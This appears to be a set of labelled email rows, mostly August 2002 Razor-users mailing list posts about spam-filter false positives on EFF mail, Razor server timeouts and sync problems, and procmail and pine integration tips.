http://www.eff.org/IP/Open_licenses > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > > > > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Marc Perkel ,razor-users@example.sourceforge.net,"Fri, 02 Aug 2002 15:01:42 -0700",[Razor-users] False Positives on EFF Messages,"Hi everyone, I'm the systems admin for the Electronic Frontier Foundation and I'm using razor running under spam assassin there and one my own personal server. Generally it works fine with near 0 false positives - except - that almost all the false positives I've seen are on messages that originated at EFF. So - I am wondering why RAZOR is catching EFF email and how is this happening. Below is an example of what I'm talking about. --------------------------------- Envelope-to: pcn@virtualrecordings.com X-Sender: robin@mail.eff.org X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: eff-ip@eff.org From: Robin Gross Subject: [E-IP] HP backs off DMCA threat - CNET.com Sender: eff-ip-admin@eff.org X-BeenThere: eff-ip@eff.org X-Mailman-Version: 2.0.11 List-Unsubscribe: , List-Id: Intelectual Property List-Post: List-Help: List-Subscribe: , List-Archive: X-Original-Date: Fri, 02 Aug 2002 10:15:12 -0700 Date: Fri, 02 Aug 2002 10:15:12 -0700 tests=MAILTO_LINK,RAZOR_CHECK version=2.40 2002/07/29 16:25:10 jmason Exp $) SPAM: -------------------- Start SpamAssassin results ---------------------- SPAM: This mail is probably spam. The original message has been altered SPAM: so you can recognise or block similar unwanted mail in future. SPAM: See http://spamassassin.org/tag/ for more details. SPAM: SPAM: Content analysis details: (7.1 hits, 5 required) SPAM: MAILTO_LINK (0.1 points) BODY: Includes a URL link to send an email SPAM: RAZOR_CHECK (7.0 points) Listed in Razor, see http://razor.sourceforge.net/ SPAM: SPAM: -------------------- End of SpamAssassin results --------------------- X-Spam: [SPAM] - Spam Assassin http://news.com.com/2100-1023-947740.html Document: HP backs off DMCA threat By CNET News.com Staff August 1, 2002, 6:10 PM PT Hewlett-Packard Thursday abandoned legal threats it made against security analysts who publicized flaws in the company's software. In a statement released late Thursday, HP said it would not use the Digital Millennium Copyright Act (DMCA), a controversial copyright law, to pursue a loosely-organized team of researchers who demonstrated a bug in the company's Tru64 Unix operating system. The following is the company's statement: 1) HP is committed to protecting our customer's security environments. 2) We have verified that there is a security vulnerability with Tru64 UNIX, the details of which were brought to our attention July 18. The problem has now been isolated and HP has been preparing a fix, which will be available within the next 48 hours. 3) We won't comment on the specifics of our discussions with SnoSoft. However, we take our customers' security requirements very seriously and have a strong track record following industry-standard security practices. 4) Where and how the DMCA should be applied is a matter of great controversy. The reported letter to SnoSoft was not consistent or indicative of HP's policy. We can say emphatically that HP will not use the DMCA to stifle research or impede the flow of information that would benefit our customers and improve their system security. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Robin D. Gross - Cyberspace Attorney @ Law - Intellectual Property Director - Campaign for Audiovisual Free Expression (CAFE) Electronic Frontier Foundation 454 Shotwell Street, San Francisco, CA 94110 e: robin@eff.org w: http://www.eff.org p: 415.863.5459 f: 415.436.9993 http://www.eff.org/cafe http://www.eff.org/IP/Open_licenses ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """cmeclax po'u le cmevi'u ke'umri"" ",razor-users@example.sourceforge.net,"Fri, 2 Aug 2002 19:19:55 -0400",Re: [Razor-users] False Positives on EFF Messages,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 de'i Friday 02 August 2002 18:01 la Marc Perkel cusku di'e > Hi everyone, > > I'm the systems admin for the Electronic Frontier Foundation and I'm using > razor running under spam assassin there and one my own personal server. > Generally it works fine with near 0 false positives - except - that almost > all the false positives I've seen are on messages that originated at EFF. > > So - I am wondering why RAZOR is catching EFF email and how is this > happening. Below is an example of what I'm talking about. I added code to my procmailrc (on the other account) so that anything that comes on Bugtraq and is in Razor is revoked. Bugtraq is moderated, so spam doesn't get through it. The recipe revoked a message about an hour after I added it. :0 Wc | razor-check :0 a { :0 * !^(some Bugtraq-specific header) !fesmri@ixazon.dynip.com :0 E | razor-revoke } cmeclax -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9SxOd3/k1hdmG9jMRAqz2AJ4yYsmri9qP3l8c61T9SFL5yQ1y6gCeJA71 CretKENIo9OyI7HgLm112jI= =jodf -----END PGP SIGNATURE----- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 bob@proulx.com (Bob Proulx),razor-users@example.sourceforge.net,"Fri, 2 Aug 2002 22:59:55 -0600",Re: [Razor-users] False Positives on EFF Messages,"--sm4nu43k4a2Rpi4c Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable cmeclax po'u le cmevi'u ke'umri [2002-08-02 19:19:55 -0= 400]: > I added code to my procmailrc (on the other account) so that anything tha= t=20 > comes on Bugtraq and is in Razor is revoked. Bugtraq is moderated, so spa= m=20 > doesn't get through it. The recipe revoked a message about an hour after = I=20 > added it. The problem with automatic revoke is the same as with automatic report. If spammers spoof a From: Bugtraq address then their spam is automatically revoked by you. Bob --sm4nu43k4a2Rpi4c Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9S2NK0pRcO8E2ULYRAml8AJ95XkpwlAeD+ADm+35642dBeI6rKQCffEoJ 8HDuR9lyCStzdXzccNpTQhs= =fUbp -----END PGP SIGNATURE----- --sm4nu43k4a2Rpi4c-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Sidney Markowitz"" ",,"Sat, 3 Aug 2002 09:12:18 -0700",Re: [Razor-users] False Positives on EFF Messages,"Bob Proulx wrote: To: Sent: Friday, August 02, 2002 9:59 PM Subject: Re: [Razor-users] False Positives on EFF Messages > If spammers spoof a From: Bugtraq address then their > spam is automatically revoked by you. Good point, but notice that cmeclax said in his example procmail recipe: :0 * !^(some Bugtraq-specific header) It should be possible to pick a header that a spammer is not likely forge. He was even careful not to reveal in public just what header(s) he is checking. -- sidney ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Michael Glad ,Michael Glad ,"Mon, 5 Aug 2002 16:23:04 +0200 (CEST)",Re: [Razor-users] Trivial false-positives,"> > It seems that an email consisting of a single line containg a > control-M is detected as spam. > > It also seems that an email consisting of 5 blank lines is also > treated as spam: Please ignore my last message. It seems that my problems results from a homebrewn patch. -- Michael ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Ray Gardener"" ","""Forrest English"" ,","Mon, 5 Aug 2002 10:07:49 +0100",Re: [Razor-users] report automation with pine?,"----- Original Message ----- From: ""Forrest English"" To: Sent: Saturday, August 03, 2002 9:30 AM Subject: [Razor-users] report automation with pine? > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > is there currently a way to integrate razor-report into > pine? spamassassin is killing most of the major spam, but more and more > stuff is sneaking in that is very short conscise... and > annoying. usually with hotmail, aol or yahoo return addresses. i've > blacklisted *@aol.com... but i'd rather start reporting this stuff in > the hopes that it would help someone else avoid it. > > anyhow, if it could be done, let me know. thanks. setup the config of pine to enable the enable-unix-pipe-cmd then when reading the message enter | razor-check Regards Ray Gardener > ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Fox"" ",,"Mon, 5 Aug 2002 10:18:11 -0400",Re: [Razor-users] Reliability of the razor servers?,"This is a multi-part message in MIME format. ------=_NextPart_000_0014_01C23C69.66A70650 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I use a perl script that disables Razor for thirty minutes any time it = times out. Not a true fix, but a workaround. Fox ----- Original Message -----=20 From: Daniel Higgins=20 To: razor-users@example.sourceforge.net=20 Sent: Monday, August 05, 2002 9:49 AM Subject: [Razor-users] Reliability of the razor servers? ok so after waiting all this time before upgrading to V2 (just did it = this morning because V1 isn't effective at all anymore) i ran into = problems with reliability of the servers. it took me about half an hour = to do a razor-admin -create and razor-admin -register constantly = retrying because it kept timing out connect1: nextserver: Could not get valid info from Discovery Servers is it a problem just now or is that standard issue? up until now i've = been advocating razor to all, but i it starts to have reliability issues = we might as well look for another way to catch the spam, we can't afford = to have one anti spam trick, no matter how effective, bog down the = entire mail server -- Daniel Higgins Netcommunications Inc. ------=_NextPart_000_0014_01C23C69.66A70650 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I use a perl script that disables Razor = for thirty=20 minutes any time it times out.  Not a true fix, but a=20 workaround.   Fox ----- Original Message ----- From:=20 Daniel = Higgins=20 To: razor-users@lists.sourc= eforge.net=20 Sent: Monday, August 05, 2002 = 9:49=20 AM Subject: [Razor-users] = Reliability of the=20 razor servers? ok so after waiting all this time = before=20 upgrading to V2 (just did it this morning because V1 isn't effective = at all=20 anymore) i ran into problems with reliability of the servers. it took = me about=20 half an hour to do a razor-admin -create and razor-admin -register = constantly=20 retrying because it kept timing out   connect1: nextserver: Could not get = valid info=20 from Discovery Servers   is it a problem just now or is that = standard=20 issue? up until now i've been advocating razor to all, but i it starts = to have=20 reliability issues we might as well look for another way to catch the = spam, we=20 can't afford to have one anti spam trick, no matter how effective, bog = down=20 the entire mail server   --Daniel = HigginsNetcommunications=20 Inc. ------=_NextPart_000_0014_01C23C69.66A70650-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Sven"" ",,"Mon, 5 Aug 2002 10:32:40 -0400",[Razor-users] Change timeout setting???,"This is a semi-followup on my previous question. I am running razor-check through a sendmail milter (smrazor http://www.sapros.com/smrazor/ ) and have set up my milter timeouts to 20sec connect and 30 sec response. The problem is that there is another timeout setting for razor-check that I am unable to locate. My razor-agent.log is now getting filled with : check[6149]: [ 3] Timed out (15 sec) while reading from honor.cloudmark.com. So the question is, is there a razor-agent.conf file setting to increase this timeout value? I have this problem on 2 different servers now (as apparently ubik.cloudmark and apt.cloudmark are refusing connections) ...... Sven ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Alan A."" ",,"Mon, 5 Aug 2002 09:59:56 -0400",Re: [Razor-users] Reliability of the razor servers?,"This is a multi-part message in MIME format. ------=_NextPart_000_0300_01C23C66.DA1E1310 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable It appears that the servers are having issues, I'm seeing tons of = timeouts, and such. It was working fine up until this morning, so I'd = say they must be having backbone or server issues on their end. - AA - ----- Original Message -----=20 From: Daniel Higgins=20 To: razor-users@example.sourceforge.net=20 Sent: Monday, August 05, 2002 9:49 AM Subject: [Razor-users] Reliability of the razor servers? ok so after waiting all this time before upgrading to V2 (just did it = this morning because V1 isn't effective at all anymore) i ran into = problems with reliability of the servers. it took me about half an hour = to do a razor-admin -create and razor-admin -register constantly = retrying because it kept timing out connect1: nextserver: Could not get valid info from Discovery Servers is it a problem just now or is that standard issue? up until now i've = been advocating razor to all, but i it starts to have reliability issues = we might as well look for another way to catch the spam, we can't afford = to have one anti spam trick, no matter how effective, bog down the = entire mail server -- Daniel Higgins Netcommunications Inc. ------=_NextPart_000_0300_01C23C66.DA1E1310 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable It appears that the servers are having = issues, I'm=20 seeing tons of timeouts, and such.  It was working fine up until = this=20 morning, so I'd say they must be having backbone or server issues on = their=20 end.   - AA - ----- Original Message ----- From:=20 Daniel = Higgins=20 To: razor-users@lists.sourc= eforge.net=20 Sent: Monday, August 05, 2002 = 9:49=20 AM Subject: [Razor-users] = Reliability of the=20 razor servers? ok so after waiting all this time = before=20 upgrading to V2 (just did it this morning because V1 isn't effective = at all=20 anymore) i ran into problems with reliability of the servers. it took = me about=20 half an hour to do a razor-admin -create and razor-admin -register = constantly=20 retrying because it kept timing out   connect1: nextserver: Could not get = valid info=20 from Discovery Servers   is it a problem just now or is that = standard=20 issue? up until now i've been advocating razor to all, but i it starts = to have=20 reliability issues we might as well look for another way to catch the = spam, we=20 can't afford to have one anti spam trick, no matter how effective, bog = down=20 the entire mail server   --Daniel = HigginsNetcommunications=20 Inc. ------=_NextPart_000_0300_01C23C66.DA1E1310-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Michael Glad ,razor-users@example.sourceforge.net,"Mon, 5 Aug 2002 16:11:24 +0200 (CEST)",[Razor-users] Trivial false-positives,"It seems that an email consisting of a single line containg a control-M is detected as spam. It also seems that an email consisting of 5 blank lines is also treated as spam: efes:~% rm -f qq efes:~% perl -e 'for($i = 0; $i < 5; $i++) { print ""\n""; }' >> qq efes:~% razor-check -d qq > /tmp/bar efes:~% grep 'known spam' /tmp/bar Aug 05 16:07:20.141526 check[31105]: [ 3] mail 1 is known spam. I'm running Razor-agents 2.14. These examples are based on real-life false-positives found by my users. One of the reals emails was sent by a user which wrote the real contents of the email in the Subject field. I thought the newer Razor-releases avoided these problems. -- Michael Glad, email: glad@daimi.au.dk ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Rose, Bobby"" ","""ML-razor-users"" ","Mon, 5 Aug 2002 14:05:09 -0400",[Razor-users] What's wrong with the Razor servers now?,"I noticed a low count of razor'd spam messages. So after digging, if I razor-report a message the diags say that it was accepted but if I turn around and run a check on the exact same message that was reported, then it doesn't find the sig and as such isn't spam. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Sven"" ",,"Mon, 5 Aug 2002 09:59:07 -0400",[Razor-users] unable to connect to ubik or apt,"This is a multi-part message in MIME format. ------=_NextPart_000_010B_01C23C66.BD4B88D0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable ""connection refused"" .... currently I am only able to connect to = honor[.cloudmark.com] and am suffering a high rate of timeouts as a = result. Is there a problem with the other two servers????? Sven ------=_NextPart_000_010B_01C23C66.BD4B88D0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable ""connection refused"" .... currently I = am only able=20 to connect to honor[.cloudmark.com] and am suffering a high rate of = timeouts as=20 a result. Is there a problem with the other two = servers?????   Sven ------=_NextPart_000_010B_01C23C66.BD4B88D0-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Mika Hirvonen ,Ray Gardener ,"Mon, 5 Aug 2002 16:23:57 +0300 (EEST)",Re: [Razor-users] report automation with pine?,"On Mon, 5 Aug 2002, Ray Gardener wrote: > setup the config of pine to > enable the enable-unix-pipe-cmd > > then when reading the message > > enter > > | razor-check You should also enable raw mode (ctrl-w) and delimiters (ctrl-r) before directing messages to the pipe. Raw mode includes the headers and delimiters allow several messages to be submitted. -- Mika Hirvonen http://nightwatch.mine.nu/ ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Daniel Higgins"" ",razor-users@example.sourceforge.net,"Mon, 5 Aug 2002 09:49:13 -0400",[Razor-users] Reliability of the razor servers?,"This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C23C65.5AE1B4E0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable ok so after waiting all this time before upgrading to V2 (just did it = this morning because V1 isn't effective at all anymore) i ran into = problems with reliability of the servers. it took me about half an hour = to do a razor-admin -create and razor-admin -register constantly = retrying because it kept timing out connect1: nextserver: Could not get valid info from Discovery Servers is it a problem just now or is that standard issue? up until now i've = been advocating razor to all, but i it starts to have reliability issues = we might as well look for another way to catch the spam, we can't afford = to have one anti spam trick, no matter how effective, bog down the = entire mail server -- Daniel Higgins Netcommunications Inc. ------=_NextPart_000_0007_01C23C65.5AE1B4E0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable ok so after waiting all this time = before upgrading=20 to V2 (just did it this morning because V1 isn't effective at all = anymore) i ran=20 into problems with reliability of the servers. it took me about half an = hour to=20 do a razor-admin -create and razor-admin -register constantly retrying = because=20 it kept timing out   connect1: nextserver: Could not get = valid info from=20 Discovery Servers   is it a problem just now or is that = standard issue?=20 up until now i've been advocating razor to all, but i it starts to have=20 reliability issues we might as well look for another way to catch the = spam, we=20 can't afford to have one anti spam trick, no matter how effective, bog = down the=20 entire mail server   --Daniel = HigginsNetcommunications=20 Inc. ------=_NextPart_000_0007_01C23C65.5AE1B4E0-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Alan Jackson ,webmake-talk@example.sourceforge.net,"Sun, 4 Aug 2002 21:25:26 -0500",[WM] Exclude pages from site map,"Is there a way to exclude a set of pages from the site map? For each page in the site I also create a ""printer friendly"" page, and I would like to exclude all of those form the sitemap. -- ----------------------------------------------------------------------- | Alan K. Jackson | To see a World in a Grain of Sand | | alan@ajackson.org | And a Heaven in a Wild Flower, | | www.ajackson.org | Hold Infinity in the palm of your hand | | Houston, Texas | And Eternity in an hour. - Blake | ----------------------------------------------------------------------- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ webmake-talk mailing list webmake-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/webmake-talk",0,1 """Rose, Bobby"" ","""ML-razor-users"" ","Tue, 6 Aug 2002 18:54:04 -0400",RE: [Razor-users] What's wrong with the Razor servers now?,"I'm still seeing this. It reports to honor.cloudmark.com but checks against apt.cloudmark.com. What is the sync delay between these boxes? -----Original Message----- From: Rose, Bobby Sent: Monday, August 05, 2002 2:05 PM To: ML-razor-users Subject: [Razor-users] What's wrong with the Razor servers now? I noticed a low count of razor'd spam messages. So after digging, if I razor-report a message the diags say that it was accepted but if I turn around and run a check on the exact same message that was reported, then it doesn't find the sig and as such isn't spam. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Rose, Bobby"" ","""ML-razor-users"" ","Tue, 6 Aug 2002 19:03:09 -0400",RE: [Razor-users] What's wrong with the Razor servers now?,"If I specify -rs on razor-check and point to honor then it checks fine. Also if I point to apt to report then I get an authentication error so is there something wrong with that box? -----Original Message----- From: Rose, Bobby Sent: Tuesday, August 06, 2002 6:54 PM To: ML-razor-users Subject: RE: [Razor-users] What's wrong with the Razor servers now? I'm still seeing this. It reports to honor.cloudmark.com but checks against apt.cloudmark.com. What is the sync delay between these boxes? -----Original Message----- From: Rose, Bobby Sent: Monday, August 05, 2002 2:05 PM To: ML-razor-users Subject: [Razor-users] What's wrong with the Razor servers now? I noticed a low count of razor'd spam messages. So after digging, if I razor-report a message the diags say that it was accepted but if I turn around and run a check on the exact same message that was reported, then it doesn't find the sig and as such isn't spam. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Rose, Bobby"" ",,"Tue, 6 Aug 2002 23:54:09 -0400",[Razor-users] Razor report don't seem to be getting logged,"For the past 2 days, nothing that I'm reporting seems to be in the database. If I report something, and the check the response is coming back as none spam. Is anyone else seeing this? ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Vipul Ved Prakash ,"""Rose, Bobby"" ","Wed, 7 Aug 2002 00:45:18 -0700",Re: [Razor-users] What's wrong with the Razor servers now?,"Hi, We were rolling out changes to TeS and catalogue servers over the last two days. Any glitches you might have experienced would have been due to the upgrades. The upgrades are now complete, and things are back to normal. Several new features in TeS will provide better accuracy, specially with regards to false-positives. cheers, vipul. On Tue, Aug 06, 2002 at 06:54:04PM -0400, Rose, Bobby wrote: > I'm still seeing this. It reports to honor.cloudmark.com but checks > against apt.cloudmark.com. What is the sync delay between these boxes? > > -----Original Message----- > From: Rose, Bobby > Sent: Monday, August 05, 2002 2:05 PM > To: ML-razor-users > Subject: [Razor-users] What's wrong with the Razor servers now? > > > I noticed a low count of razor'd spam messages. So after digging, if I > razor-report a message the diags say that it was accepted but if I turn > around and run a check on the exact same message that was reported, then > it doesn't find the sig and as such isn't spam. > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Vipul Ved Prakash ,Marc Perkel ,"Wed, 7 Aug 2002 00:59:53 -0700",Re: [Razor-users] False Positives on EFF Messages,"Marc, The likelyhood of EFF or other mailing lists getting filtered will decrease over time as these mails are revoked whenever they get filtered out. Revocations help the system to punish reporters who report legit bulk mail such that their future reports are automatically considered suspect. As such, with all the new changes to TeS, the likelyhood of filtering mailing list posts has decreased dramatically. Please keep me posted if you see false positives on the EFF newsletter again. cheers, vipul. On Fri, Aug 02, 2002 at 03:22:13PM -0700, Marc Perkel wrote: > Thanks - but it almost looks like someone is deliberately trying to > poison EFF messages. If this is so I want to look into it. It's odd that > most all the razor errors were people talking about free speech issies > and intellectual property. It make me wonder if someone is doing > something on purpose. > > I am also active in the development of Spam Assassin rules. Spam > filtering has been a hot topic at EFF for quite some time and is even > hotter now that I'm actually using it. For what it's worth - your system > is considered to be the cleanest method - but with any system, people at > EFF are concerned about free speech issues and that spam filtering can > become a censorship issue. One of our newsletters got flagged as spam > because it had list removal instructions at the bottom. -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Rose, Bobby"" ",,"Wed, 7 Aug 2002 09:04:50 -0400",RE: [Razor-users] What's wrong with the Razor servers now?,"It's still doing it. I reported a message as spam 10 minutes ago and the check keeps coming back false. What's funny is that message that I'm testing with it the sample-spam.txt message from SpamAssassin and I know it's been reported before. -----Original Message----- From: Vipul Ved Prakash [mailto:mail@vipul.net] Sent: Wednesday, August 07, 2002 3:45 AM To: Rose, Bobby Cc: ML-razor-users Subject: Re: [Razor-users] What's wrong with the Razor servers now? Hi, We were rolling out changes to TeS and catalogue servers over the last two days. Any glitches you might have experienced would have been due to the upgrades. The upgrades are now complete, and things are back to normal. Several new features in TeS will provide better accuracy, specially with regards to false-positives. cheers, vipul. On Tue, Aug 06, 2002 at 06:54:04PM -0400, Rose, Bobby wrote: > I'm still seeing this. It reports to honor.cloudmark.com but checks > against apt.cloudmark.com. What is the sync delay between these > boxes? > > -----Original Message----- > From: Rose, Bobby > Sent: Monday, August 05, 2002 2:05 PM > To: ML-razor-users > Subject: [Razor-users] What's wrong with the Razor servers now? > > > I noticed a low count of razor'd spam messages. So after digging, if I > razor-report a message the diags say that it was accepted but if I > turn around and run a check on the exact same message that was > reported, then it doesn't find the sig and as such isn't spam. > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Rose, Bobby"" ",,"Wed, 7 Aug 2002 09:15:45 -0400",RE: [Razor-users] What's wrong with the Razor servers now?,"The problem is clearly because the info isn't syncing between the servers. If I run the check against honor which is where it was reported then the check is positive. If I run the check against apt or fire, it's negative. -----Original Message----- From: Rose, Bobby Sent: Wednesday, August 07, 2002 9:05 AM To: mail@vipul.net Cc: ML-razor-users Subject: RE: [Razor-users] What's wrong with the Razor servers now? It's still doing it. I reported a message as spam 10 minutes ago and the check keeps coming back false. What's funny is that message that I'm testing with it the sample-spam.txt message from SpamAssassin and I know it's been reported before. -----Original Message----- From: Vipul Ved Prakash [mailto:mail@vipul.net] Sent: Wednesday, August 07, 2002 3:45 AM To: Rose, Bobby Cc: ML-razor-users Subject: Re: [Razor-users] What's wrong with the Razor servers now? Hi, We were rolling out changes to TeS and catalogue servers over the last two days. Any glitches you might have experienced would have been due to the upgrades. The upgrades are now complete, and things are back to normal. Several new features in TeS will provide better accuracy, specially with regards to false-positives. cheers, vipul. On Tue, Aug 06, 2002 at 06:54:04PM -0400, Rose, Bobby wrote: > I'm still seeing this. It reports to honor.cloudmark.com but checks > against apt.cloudmark.com. What is the sync delay between these > boxes? > > -----Original Message----- > From: Rose, Bobby > Sent: Monday, August 05, 2002 2:05 PM > To: ML-razor-users > Subject: [Razor-users] What's wrong with the Razor servers now? > > > I noticed a low count of razor'd spam messages. So after digging, if I > razor-report a message the diags say that it was accepted but if I > turn around and run a check on the exact same message that was > reported, then it doesn't find the sig and as such isn't spam. > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > 